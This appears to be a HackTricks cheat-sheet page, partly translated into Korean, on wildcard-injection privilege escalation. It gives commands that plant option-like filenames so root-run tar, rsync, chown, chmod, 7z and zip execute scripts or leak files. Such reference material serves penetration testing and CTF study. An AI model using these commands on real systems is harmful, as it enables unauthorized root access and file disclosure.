4.8 KiB
{% hint style="success" %}
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: 
HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
chown, chmod
당신은 나머지 파일에 대해 복사하고 싶은 파일 소유자와 권한을 지정할 수 있습니다.
touch "--reference=/my/own/path/filename"
You can exploit this using https://github.com/localh0t/wildpwn/blob/master/wildpwn.py (combined attack)
자세한 정보는 https://www.exploit-db.com/papers/33930에서 확인하세요.
Tar
임의의 명령 실행:
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"
You can exploit this using https://github.com/localh0t/wildpwn/blob/master/wildpwn.py (tar 공격)
자세한 내용은 https://www.exploit-db.com/papers/33930에서 확인하세요.
Rsync
임의의 명령 실행:
Interesting rsync option from manual:
-e, --rsh=COMMAND specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
touch "-e sh shell.sh"
You can exploit this using https://github.com/localh0t/wildpwn/blob/master/wildpwn.py _(_rsync attack)
More info in https://www.exploit-db.com/papers/33930
7z
7z에서는 --를 * 앞에 사용하더라도(--는 다음 입력이 매개변수로 처리될 수 없음을 의미하므로 이 경우 파일 경로만 해당됨) 임의의 오류를 발생시켜 파일을 읽을 수 있습니다. 따라서 다음과 같은 명령이 root에 의해 실행되고 있다면:
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
그리고 이 명령이 실행되는 폴더에 파일을 생성할 수 있으며, @root.txt 파일과 읽고 싶은 파일에 대한 symlink인 root.txt 파일을 생성할 수 있습니다:
cd /path/to/7z/acting/folder
touch @root.txt
ln -s /file/you/want/to/read root.txt
그럼, 7z가 실행되면 root.txt를 압축해야 할 파일 목록이 포함된 파일로 처리합니다 (이것이 @root.txt의 존재가 나타내는 것입니다) 그리고 7z가 root.txt를 읽을 때 /file/you/want/to/read를 읽게 되며 이 파일의 내용이 파일 목록이 아니기 때문에 오류를 발생시킵니다 내용이 표시됩니다.
더 많은 정보는 HackTheBox의 CTF 박스 Write-ups에서 확인하세요.
Zip
임의의 명령 실행:
zip name.zip files -T --unzip-command "sh -c whoami"
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.